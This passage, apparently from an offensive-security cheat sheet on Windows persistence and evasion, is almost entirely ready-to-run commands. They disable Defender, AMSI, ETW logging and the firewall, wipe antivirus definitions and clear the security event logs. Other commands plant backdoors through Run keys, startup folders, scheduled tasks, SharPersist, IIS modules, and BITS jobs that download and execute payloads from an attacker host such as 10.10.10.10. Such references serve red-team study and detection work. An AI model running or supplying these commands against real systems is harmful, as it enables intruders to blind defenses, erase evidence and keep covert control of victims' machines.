<a id="__codelineno-2-17" name="__codelineno-2-17" href="#__codelineno-2-17"></a><span class="c"># Disables event collection</span>
|
||
<a id="__codelineno-2-18" name="__codelineno-2-18" href="#__codelineno-2-18"></a><span class="n">cytool</span><span class="p">.</span><span class="n">exe</span> <span class="n">event_collection</span> <span class="n">disable</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h3 id="disable-windows-defender">Disable Windows Defender</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="c"># Disable Defender</span>
|
||
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="nb">sc </span><span class="n">config</span> <span class="n">WinDefend</span> <span class="n">start</span><span class="p">=</span> <span class="n">disabled</span>
|
||
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="nb">sc </span><span class="n">stop</span> <span class="n">WinDefend</span>
|
||
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="nb">Set-MpPreference</span> <span class="n">-DisableRealtimeMonitoring</span> <span class="nv">$true</span>
|
||
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a>
|
||
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="c">## Exclude a process / location</span>
|
||
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a><span class="nb">Set-MpPreference</span> <span class="n">-ExclusionProcess</span> <span class="s2">"word.exe"</span><span class="p">,</span> <span class="s2">"vmwp.exe"</span>
|
||
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a><span class="nb">Add-MpPreference</span> <span class="n">-ExclusionProcess</span> <span class="s1">'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'</span>
|
||
<a id="__codelineno-3-9" name="__codelineno-3-9" href="#__codelineno-3-9"></a><span class="nb">Add-MpPreference</span> <span class="n">-ExclusionPath</span> <span class="n">C</span><span class="p">:\</span><span class="n">Video</span><span class="p">,</span> <span class="n">C</span><span class="p">:\</span><span class="n">install</span>
|
||
<a id="__codelineno-3-10" name="__codelineno-3-10" href="#__codelineno-3-10"></a>
|
||
<a id="__codelineno-3-11" name="__codelineno-3-11" href="#__codelineno-3-11"></a><span class="c"># Disable scanning all downloaded files and attachments, disable AMSI (reactive)</span>
|
||
<a id="__codelineno-3-12" name="__codelineno-3-12" href="#__codelineno-3-12"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nb">Set-MpPreference</span> <span class="n">-DisableRealtimeMonitoring</span> <span class="nv">$true</span><span class="p">;</span> <span class="nb">Get-MpComputerStatus</span>
|
||
<a id="__codelineno-3-13" name="__codelineno-3-13" href="#__codelineno-3-13"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nb">Set-MpPreference</span> <span class="n">-DisableIOAVProtection</span> <span class="nv">$true</span>
|
||
<a id="__codelineno-3-14" name="__codelineno-3-14" href="#__codelineno-3-14"></a><span class="c"># Disable AMSI (set to 0 to enable)</span>
|
||
<a id="__codelineno-3-15" name="__codelineno-3-15" href="#__codelineno-3-15"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nb">Set-MpPreference</span> <span class="n">-DisableScriptScanning</span> <span class="n">1</span>
|
||
<a id="__codelineno-3-16" name="__codelineno-3-16" href="#__codelineno-3-16"></a>
|
||
<a id="__codelineno-3-17" name="__codelineno-3-17" href="#__codelineno-3-17"></a><span class="c"># Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions</span>
|
||
<a id="__codelineno-3-18" name="__codelineno-3-18" href="#__codelineno-3-18"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger"</span> <span class="p">/</span><span class="n">v</span> <span class="s2">"Start"</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"0"</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-3-19" name="__codelineno-3-19" href="#__codelineno-3-19"></a>
|
||
<a id="__codelineno-3-20" name="__codelineno-3-20" href="#__codelineno-3-20"></a><span class="c"># Wipe currently stored definitions</span>
|
||
<a id="__codelineno-3-21" name="__codelineno-3-21" href="#__codelineno-3-21"></a><span class="c"># Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version></span>
|
||
<a id="__codelineno-3-22" name="__codelineno-3-22" href="#__codelineno-3-22"></a><span class="n">MpCmdRun</span><span class="p">.</span><span class="n">exe</span> <span class="n">-RemoveDefinitions</span> <span class="n">-All</span>
|
||
<a id="__codelineno-3-23" name="__codelineno-3-23" href="#__codelineno-3-23"></a>
|
||
<a id="__codelineno-3-24" name="__codelineno-3-24" href="#__codelineno-3-24"></a><span class="c"># Remove signatures (if Internet connection is present, they will be downloaded again):</span>
|
||
<a id="__codelineno-3-25" name="__codelineno-3-25" href="#__codelineno-3-25"></a><span class="nb">PS </span><span class="p">></span> <span class="p">&</span> <span class="s2">"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe"</span> <span class="n">-RemoveDefinitions</span> <span class="n">-All</span>
|
||
<a id="__codelineno-3-26" name="__codelineno-3-26" href="#__codelineno-3-26"></a><span class="nb">PS </span><span class="p">></span> <span class="p">&</span> <span class="s2">"C:\Program Files\Windows Defender\MpCmdRun.exe"</span> <span class="n">-RemoveDefinitions</span> <span class="n">-All</span>
|
||
<a id="__codelineno-3-27" name="__codelineno-3-27" href="#__codelineno-3-27"></a>
|
||
<a id="__codelineno-3-28" name="__codelineno-3-28" href="#__codelineno-3-28"></a><span class="c"># Disable Windows Defender Security Center</span>
|
||
<a id="__codelineno-3-29" name="__codelineno-3-29" href="#__codelineno-3-29"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\System\CurrentControlSet\Services\SecurityHealthService"</span> <span class="p">/</span><span class="n">v</span> <span class="s2">"Start"</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"4"</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-3-30" name="__codelineno-3-30" href="#__codelineno-3-30"></a>
|
||
<a id="__codelineno-3-31" name="__codelineno-3-31" href="#__codelineno-3-31"></a><span class="c"># Disable Real Time Protection</span>
|
||
<a id="__codelineno-3-32" name="__codelineno-3-32" href="#__codelineno-3-32"></a><span class="n">reg</span> <span class="n">delete</span> <span class="s2">"HKLM\Software\Policies\Microsoft\Windows Defender"</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-3-33" name="__codelineno-3-33" href="#__codelineno-3-33"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\Software\Policies\Microsoft\Windows Defender"</span> <span class="p">/</span><span class="n">v</span> <span class="s2">"DisableAntiSpyware"</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"1"</span> <span class="p">/</span><span class="n">f</span>
|
||
<a id="__codelineno-3-34" name="__codelineno-3-34" href="#__codelineno-3-34"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKLM\Software\Policies\Microsoft\Windows Defender"</span> <span class="p">/</span><span class="n">v</span> <span class="s2">"DisableAntiVirus"</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_DWORD</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"1"</span> <span class="p">/</span><span class="n">f</span>
|
||
</code></pre></div>
|
||
<h3 id="disable-windows-firewall">Disable Windows Firewall</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">Netsh</span> <span class="n">Advfirewall</span> <span class="n">show</span> <span class="n">allprofiles</span>
|
||
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">NetSh</span> <span class="n">Advfirewall</span> <span class="nb">set </span><span class="n">allprofiles</span> <span class="n">state</span> <span class="n">off</span>
|
||
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a>
|
||
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="c"># ip whitelisting</span>
|
||
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="nb">New-NetFirewallRule</span> <span class="n">-Name</span> <span class="n">morph3inbound</span> <span class="n">-DisplayName</span> <span class="n">morph3inbound</span> <span class="n">-Enabled</span> <span class="n">True</span> <span class="n">-Direction</span> <span class="n">Inbound</span> <span class="n">-Protocol</span> <span class="n">ANY</span> <span class="n">-Action</span> <span class="n">Allow</span> <span class="n">-Profile</span> <span class="n">ANY</span> <span class="n">-RemoteAddress</span> <span class="n">ATTACKER_IP</span>
|
||
</code></pre></div>
|
||
<h3 id="clear-system-and-security-logs">Clear System and Security Logs</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">cmd</span><span class="p">.</span><span class="n">exe</span> <span class="p">/</span><span class="n">c</span> <span class="n">wevtutil</span><span class="p">.</span><span class="n">exe</span> <span class="n">cl</span> <span class="n">System</span>
|
||
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="n">cmd</span><span class="p">.</span><span class="n">exe</span> <span class="p">/</span><span class="n">c</span> <span class="n">wevtutil</span><span class="p">.</span><span class="n">exe</span> <span class="n">cl</span> <span class="n">Security</span>
|
||
</code></pre></div>
|
||
<h2 id="simple-user">Simple User</h2>
|
||
<p>Set a file as hidden</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">attrib</span> <span class="p">+</span><span class="nb">h </span><span class="n">c</span><span class="p">:\</span><span class="n">autoexec</span><span class="p">.</span><span class="n">bat</span>
|
||
</code></pre></div>
|
||
<h3 id="registry-hkcu">Registry HKCU</h3>
|
||
<p>Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">Value</span> <span class="n">name</span><span class="p">:</span> <span class="n">Backdoor</span>
|
||
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="n">Value</span> <span class="n">data</span><span class="p">:</span> <span class="n">C</span><span class="p">:\</span><span class="n">Users</span><span class="p">\</span><span class="n">Rasta</span><span class="p">\</span><span class="n">AppData</span><span class="p">\</span><span class="n">Local</span><span class="p">\</span><span class="n">Temp</span><span class="p">\</span><span class="n">backdoor</span><span class="p">.</span><span class="n">exe</span>
|
||
</code></pre></div>
|
||
<p>Using the command line </p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\Users\user\backdoor.exe"</span>
|
||
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\Users\user\backdoor.exe"</span>
|
||
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\Users\user\backdoor.exe"</span>
|
||
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\Users\user\backdoor.exe"</span>
|
||
</code></pre></div>
|
||
<p>Using SharPersist</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">reg</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-k</span> <span class="s2">"hkcurun"</span> <span class="n">-v</span> <span class="s2">"Test Stuff"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">reg</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-k</span> <span class="s2">"hkcurun"</span> <span class="n">-v</span> <span class="s2">"Test Stuff"</span> <span class="n">-m</span> <span class="n">add</span> <span class="n">-o</span> <span class="n">env</span>
|
||
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">reg</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-k</span> <span class="s2">"logonscript"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
</code></pre></div>
|
||
<h3 id="startup">Startup</h3>
|
||
<p>Create a batch script in the user startup folder.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nb">gc </span><span class="n">C</span><span class="p">:\</span><span class="n">Users</span><span class="p">\</span><span class="n">Rasta</span><span class="p">\</span><span class="n">AppData</span><span class="p">\</span><span class="n">Roaming</span><span class="p">\</span><span class="n">Microsoft</span><span class="p">\</span><span class="n">Windows</span><span class="p">\</span><span class="nb">Start </span><span class="n">Menu</span><span class="p">\</span><span class="n">Programs</span><span class="p">\</span><span class="n">Startup</span><span class="p">\</span><span class="n">backdoor</span><span class="p">.</span><span class="n">bat</span>
|
||
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="nb">start </span><span class="p">/</span><span class="n">b</span> <span class="n">C</span><span class="p">:\</span><span class="n">Users</span><span class="p">\</span><span class="n">Rasta</span><span class="p">\</span><span class="n">AppData</span><span class="p">\</span><span class="n">Local</span><span class="p">\</span><span class="n">Temp</span><span class="p">\</span><span class="n">backdoor</span><span class="p">.</span><span class="n">exe</span>
|
||
</code></pre></div>
|
||
<p>Using SharPersist</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">startupfolder</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="o">-f</span> <span class="s2">"Some File"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
</code></pre></div>
|
||
<h3 id="scheduled-tasks-user">Scheduled Tasks User</h3>
|
||
<ul>
|
||
<li>Using native <strong>schtask</strong> - Create a new task
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="c"># Create the scheduled tasks to run once at 00.00</span>
|
||
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">create</span> <span class="p">/</span><span class="nb">sc </span><span class="n">ONCE</span> <span class="p">/</span><span class="n">st</span> <span class="n">00</span><span class="p">:</span><span class="n">00</span> <span class="p">/</span><span class="n">tn</span> <span class="s2">"Device-Synchronize"</span> <span class="p">/</span><span class="n">tr</span> <span class="n">C</span><span class="p">:\</span><span class="n">Temp</span><span class="p">\</span><span class="n">revshell</span><span class="p">.</span><span class="n">exe</span>
|
||
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="c"># Force run it now !</span>
|
||
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="n">schtasks</span> <span class="p">/</span><span class="n">run</span> <span class="p">/</span><span class="n">tn</span> <span class="s2">"Device-Synchronize"</span>
|
||
</code></pre></div></li>
|
||
<li>
|
||
<p>Using native <strong>schtask</strong> - Leverage the <code>schtasks /change</code> command to modify existing scheduled tasks
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="c"># Launch an executable by calling the ShellExec_RunDLL function.</span>
|
||
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">SCHTASKS</span> <span class="p">/</span><span class="n">Change</span> <span class="p">/</span><span class="n">tn</span> <span class="s2">"\Microsoft\Windows\PLA\Server Manager Performance Monitor"</span> <span class="p">/</span><span class="n">TR</span> <span class="s2">"C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat"</span> <span class="p">/</span><span class="n">RL</span> <span class="n">HIGHEST</span> <span class="p">/</span><span class="n">RU</span> <span class="s2">""</span> <span class="p">/</span><span class="n">ENABLE</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Using Powershell
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nv">$A</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskAction</span> <span class="n">-Execute</span> <span class="s2">"cmd.exe"</span> <span class="n">-Argument</span> <span class="s2">"/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"</span>
|
||
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nv">$T</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskTrigger</span> <span class="n">-AtLogOn</span> <span class="n">-User</span> <span class="s2">"Rasta"</span>
|
||
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nv">$P</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskPrincipal</span> <span class="s2">"Rasta"</span>
|
||
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nv">$S</span> <span class="p">=</span> <span class="nb">New-ScheduledTaskSettingsSet</span>
|
||
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nv">$D</span> <span class="p">=</span> <span class="nb">New-ScheduledTask</span> <span class="n">-Action</span> <span class="nv">$A</span> <span class="n">-Trigger</span> <span class="nv">$T</span> <span class="n">-Principal</span> <span class="nv">$P</span> <span class="n">-Settings</span> <span class="nv">$S</span>
|
||
<a id="__codelineno-14-6" name="__codelineno-14-6" href="#__codelineno-14-6"></a><span class="nb">PS </span><span class="n">C</span><span class="p">:\></span> <span class="nb">Register-ScheduledTask</span> <span class="n">Backdoor</span> <span class="n">-InputObject</span> <span class="nv">$D</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Using SharPersist
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="c"># Add to a current scheduled task</span>
|
||
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">schtaskbackdoor</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-n</span> <span class="s2">"Something Cool"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a>
|
||
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a><span class="c"># Add new task</span>
|
||
<a id="__codelineno-15-5" name="__codelineno-15-5" href="#__codelineno-15-5"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">schtask</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-n</span> <span class="s2">"Some Task"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
<a id="__codelineno-15-6" name="__codelineno-15-6" href="#__codelineno-15-6"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">schtask</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-n</span> <span class="s2">"Some Task"</span> <span class="n">-m</span> <span class="n">add</span> <span class="n">-o</span> <span class="n">hourly</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
</ul>
|
||
<h3 id="bits-jobs">BITS Jobs</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">create</span> <span class="n">backdoor</span>
|
||
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">addfile</span> <span class="n">backdoor</span> <span class="s2">"http://10.10.10.10/evil.exe"</span> <span class="s2">"C:\tmp\evil.exe"</span>
|
||
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a>
|
||
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a><span class="c"># v1</span>
|
||
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">SetNotifyCmdLine</span> <span class="n">backdoor</span> <span class="n">C</span><span class="p">:\</span><span class="n">tmp</span><span class="p">\</span><span class="n">evil</span><span class="p">.</span><span class="n">exe</span> <span class="n">NUL</span>
|
||
<a id="__codelineno-16-6" name="__codelineno-16-6" href="#__codelineno-16-6"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">SetMinRetryDelay</span> <span class="s2">"backdoor"</span> <span class="n">60</span>
|
||
<a id="__codelineno-16-7" name="__codelineno-16-7" href="#__codelineno-16-7"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">resume</span> <span class="n">backdoor</span>
|
||
<a id="__codelineno-16-8" name="__codelineno-16-8" href="#__codelineno-16-8"></a>
|
||
<a id="__codelineno-16-9" name="__codelineno-16-9" href="#__codelineno-16-9"></a><span class="c"># v2 - exploit/multi/script/web_delivery</span>
|
||
<a id="__codelineno-16-10" name="__codelineno-16-10" href="#__codelineno-16-10"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">SetNotifyCmdLine</span> <span class="n">backdoor</span> <span class="n">regsvr32</span><span class="p">.</span><span class="n">exe</span> <span class="s2">"/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"</span>
|
||
<a id="__codelineno-16-11" name="__codelineno-16-11" href="#__codelineno-16-11"></a><span class="n">bitsadmin</span> <span class="p">/</span><span class="n">resume</span> <span class="n">backdoor</span>
|
||
</code></pre></div>
|
||
<h2 id="serviceland">Serviceland</h2>
|
||
<h3 id="iis">IIS</h3>
|
||
<p>IIS Raid – Backdooring IIS Using Native Modules</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="p">$</span> <span class="n">git</span> <span class="n">clone</span> <span class="n">https</span><span class="p">://</span><span class="n">github</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">0x09AL</span><span class="p">/</span><span class="n">IIS-Raid</span>
|
||
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="p">$</span> <span class="n">python</span> <span class="n">iis_controller</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-url</span> <span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">11</span><span class="p">/</span> <span class="p">-</span><span class="n">-password</span> <span class="n">SIMPLEPASS</span>
|
||
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="n">C</span><span class="p">:\</span><span class="n">Windows</span><span class="p">\</span><span class="n">system32</span><span class="p">\</span><span class="n">inetsrv</span><span class="p">\</span><span class="n">APPCMD</span><span class="p">.</span><span class="n">EXE</span> <span class="n">install</span> <span class="n">module</span> <span class="p">/</span><span class="n">name</span><span class="p">:</span><span class="n">Module</span> <span class="n">Name</span> <span class="p">/</span><span class="n">image</span><span class="p">:</span><span class="s2">"%windir%\System32\inetsrv\IIS-Backdoor.dll"</span> <span class="p">/</span><span class="n">add</span><span class="p">:</span><span class="n">true</span>
|
||
</code></pre></div>
|
||
<h3 id="windows-service">Windows Service</h3>
|
||
<p>Using SharPersist</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="n">SharPersist</span> <span class="n">-t</span> <span class="n">service</span> <span class="n">-c</span> <span class="s2">"C:\Windows\System32\cmd.exe"</span> <span class="n">-a</span> <span class="s2">"/c calc.exe"</span> <span class="n">-n</span> <span class="s2">"Some Service"</span> <span class="n">-m</span> <span class="n">add</span>
|
||
</code></pre></div>
|
||
<h2 id="elevated">Elevated</h2>
|
||
<h3 id="registry-hklm">Registry HKLM</h3>
|
||
<p>Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">Value</span> <span class="n">name</span><span class="p">:</span> <span class="n">Backdoor</span>
|
||
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="n">Value</span> <span class="n">data</span><span class="p">:</span> <span class="n">C</span><span class="p">:\</span><span class="n">Windows</span><span class="p">\</span><span class="n">Temp</span><span class="p">\</span><span class="n">backdoor</span><span class="p">.</span><span class="n">exe</span>
|
||
</code></pre></div>
|
||
<p>Using the command line </p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\tmp\backdoor.exe"</span>
|
||
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\tmp\backdoor.exe"</span>
|
||
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\tmp\backdoor.exe"</span>
|
||
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="n">reg</span> <span class="n">add</span> <span class="s2">"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"</span> <span class="p">/</span><span class="n">v</span> <span class="n">Evil</span> <span class="p">/</span><span class="n">t</span> <span class="n">REG_SZ</span> <span class="p">/</span><span class="n">d</span> <span class="s2">"C:\tmp\backdoor.exe"</span>
|
||
</code></pre></div>
|
||
<h4 id="winlogon-helper-dll">Winlogon Helper DLL</h4>
|
||
<blockquote>
|
||
<p>Run executable during Windows logon</p>
|
||
</blockquote>
